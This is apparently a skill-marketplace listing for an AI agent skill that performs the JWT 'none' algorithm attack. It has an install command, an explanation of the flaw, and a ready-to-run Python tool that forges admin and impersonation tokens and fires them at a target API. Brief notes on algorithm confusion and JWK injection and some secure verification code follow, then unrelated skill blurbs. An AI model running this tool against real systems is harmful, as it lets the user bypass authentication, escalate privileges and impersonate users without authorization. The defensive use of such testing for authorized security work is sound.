external/anthropic-cybersecurity-skills/skills/performing-jwt-none-algorithm-attack/SKILL.md
Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens.
npx skillsauth add seikaikyo/dash-skills performing-jwt-none-algorithm-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
A JWT consists of three Base64URL-encoded parts separated by dots:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # Signature
Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}
# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}
#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool
Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
# All known variations of the 'none' algorithm value
NONE_VARIANTS = [
"none",
"None",
"NONE",
"nOnE",
"noNe",
"NoNe",
"nONE",
"nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def _base64url_encode(self, data: bytes) -> str:
"""Base64URL encode without padding."""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def _base64url_decode(self, data: str) -> bytes:
"""Base64URL decode with padding restoration."""
padding = 4 - len(data) % 4
if padding != 4:
data += '=' * padding
return base64.urlsafe_b64decode(data)
def _decode_token(self, token: str) -> tuple:
"""Decode JWT header and payload."""
parts = token.split('.')
header = json.loads(self._base64url_decode(parts[0]))
payload = json.loads(self._base64url_decode(parts[1]))
return header, payload
def craft_none_token(self, modified_payload: dict,
alg_variant: str = "none") -> str:
"""Craft a JWT with the none algorithm and modified payload."""
# Create header with none algorithm
header = {"alg": alg_variant, "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
# Encode modified payload
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
# Token with empty signature (just trailing dot)
return f"{header_encoded}.{payload_encoded}."
def craft_privilege_escalation(self, role_field: str = "role",
admin_value: str = "admin") -> list:
"""Create tokens with escalated privileges using all none variants."""
tokens = []
modified_payload = dict(self.original_payload)
modified_payload[role_field] = admin_value
for variant in self.NONE_VARIANTS:
token = self.craft_none_token(modified_payload, variant)
tokens.append({"variant": variant, "token": token})
return tokens
def craft_user_impersonation(self, target_user_id: str,
user_field: str = "sub") -> str:
"""Create a token impersonating another user."""
modified_payload = dict(self.original_payload)
modified_payload[user_field] = target_user_id
return self.craft_none_token(modified_payload)
def test_none_variants(self, endpoint: str = "/api/profile",
headers: Optional[dict] = None) -> list:
"""Test all none algorithm variants against the target."""
results = []
base_headers = headers or {}
for variant in self.NONE_VARIANTS:
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
token = self.craft_none_token(modified_payload, variant)
test_headers = dict(base_headers)
test_headers["Authorization"] = f"Bearer {token}"
try:
response = requests.get(
f"{self.target_url}{endpoint}",
headers=test_headers,
timeout=10
)
result = {
"variant": variant,
"status_code": response.status_code,
"accepted": response.status_code == 200,
"response_length": len(response.content),
}
results.append(result)
if response.status_code == 200:
print(f" [VULNERABLE] alg='{variant}' -> {response.status_code}")
else:
print(f" [SAFE] alg='{variant}' -> {response.status_code}")
except requests.exceptions.RequestException as e:
results.append({
"variant": variant,
"status_code": 0,
"accepted": False,
"error": str(e)
})
return results
def test_empty_signature_variants(self) -> list:
"""Test different empty signature formats."""
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
header = {"alg": "none", "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
# Different signature formats
variants = [
f"{header_encoded}.{payload_encoded}.", # Empty signature with trailing dot
f"{header_encoded}.{payload_encoded}", # No trailing dot
f"{header_encoded}.{payload_encoded}.AA==", # Minimal base64 signature
]
results = []
for token in variants:
results.append({"token_format": token[-20:], "token": token})
return results
def main():
if len(sys.argv) < 3:
print("Usage: python jwt_none_attack.py <target_url> <original_token>")
print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
sys.exit(1)
target_url = sys.argv[1]
original_token = sys.argv[2]
attacker = JWTNoneAttack(target_url, original_token)
print(f"\nOriginal Token Header: {attacker.original_header}")
print(f"Original Token Payload: {attacker.original_payload}")
print(f"\n{'='*60}")
print("Testing None Algorithm Variants")
print(f"{'='*60}")
results = attacker.test_none_variants()
vulnerable = [r for r in results if r.get("accepted")]
if vulnerable:
print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
print("[!] The server does not properly validate JWT signatures")
else:
print(f"\n[+] SECURE: All none algorithm variants were rejected")
if __name__ == "__main__":
main()
Algorithm Confusion (RS256 to HS256): If the server uses RS256 (asymmetric), an attacker who knows the public key can:
alg to HS256JWK Header Injection (CVE-2018-0114):
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<attacker-controlled-key>",
"e": "AQAB"
}
}
# Secure JWT verification - always specify allowed algorithms
import jwt
def verify_token_secure(token: str, secret_key: str) -> dict:
"""Verify JWT with explicit algorithm allowlist."""
try:
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256"], # CRITICAL: Explicit allowlist
options={
"require": ["exp", "iat", "sub"], # Required claims
"verify_exp": True,
"verify_iat": True,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("Invalid token algorithm")
except jwt.ExpiredSignatureError:
raise ValueError("Token expired")
except jwt.InvalidTokenError:
raise ValueError("Invalid token")
"alg": "none" (or case variations) in server logsdevelopment
拋棄式 HTML mockup 比稿:產出 2 到 3 個設計立場不同的變體(密度 / 版式 / 強調軸,不是換色),各附取捨說明,最後給有立場的對比結論。適用:「畫個草圖」「比較 A 版 B 版」「先看方向再做」「給我看幾種做法」。要 production 元件或設計已定案時不適用。
tools
需求不明時的意圖萃取訪談:一次一題、每題附上自己的猜測、聽出「真正想要 vs 覺得應該要」,直到能預測使用者反應(約 95% 信心)才動工。適用:需求缺少對象 / 動機 / 成功標準 / 約束,或使用者點名「訪談我」「先確認一下」「我們確定嗎」。明確自足的指示、純資訊查詢、機械性操作不適用。
development
對非平凡決策啟動新鮮 context 對抗審查(找碴不背書),在修正還便宜的時候抓出錯誤方向。適用:高風險改動(production、資安敏感邏輯、不可逆操作)、不熟的程式碼、要宣稱「這樣是安全的 / 可行的」之前。機械性操作與一行修改不適用。
testing
Reference for writing and editing agent skills well — the vocabulary and principles that make a skill predictable. Consult when authoring, reviewing, or pruning a SKILL.md.